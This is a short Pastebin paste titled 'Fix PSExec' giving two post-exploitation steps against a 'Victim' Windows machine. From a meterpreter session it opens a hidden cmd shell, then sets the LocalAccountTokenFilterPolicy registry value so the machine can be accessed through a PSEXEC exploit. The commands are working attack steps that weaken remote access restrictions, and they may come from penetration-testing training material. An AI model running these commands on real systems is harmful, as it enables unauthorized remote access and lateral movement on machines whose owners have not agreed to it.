Advertisement
joemccray

Fix PSExec

Sep 18th, 2015
1,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. - We use the shell command to get to the Victim Dos command so we can add a registry field.
  2.  
  3. meterpreter > execute -c -H -f cmd -a "/k" -i
  4. reg /?
  5.  
  6.  
  7. - Created a registry field to the Victim computer, this will allow us to access the machine using and exploit via PSEXEC.
  8.  
  9. C:\Windows\system32> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement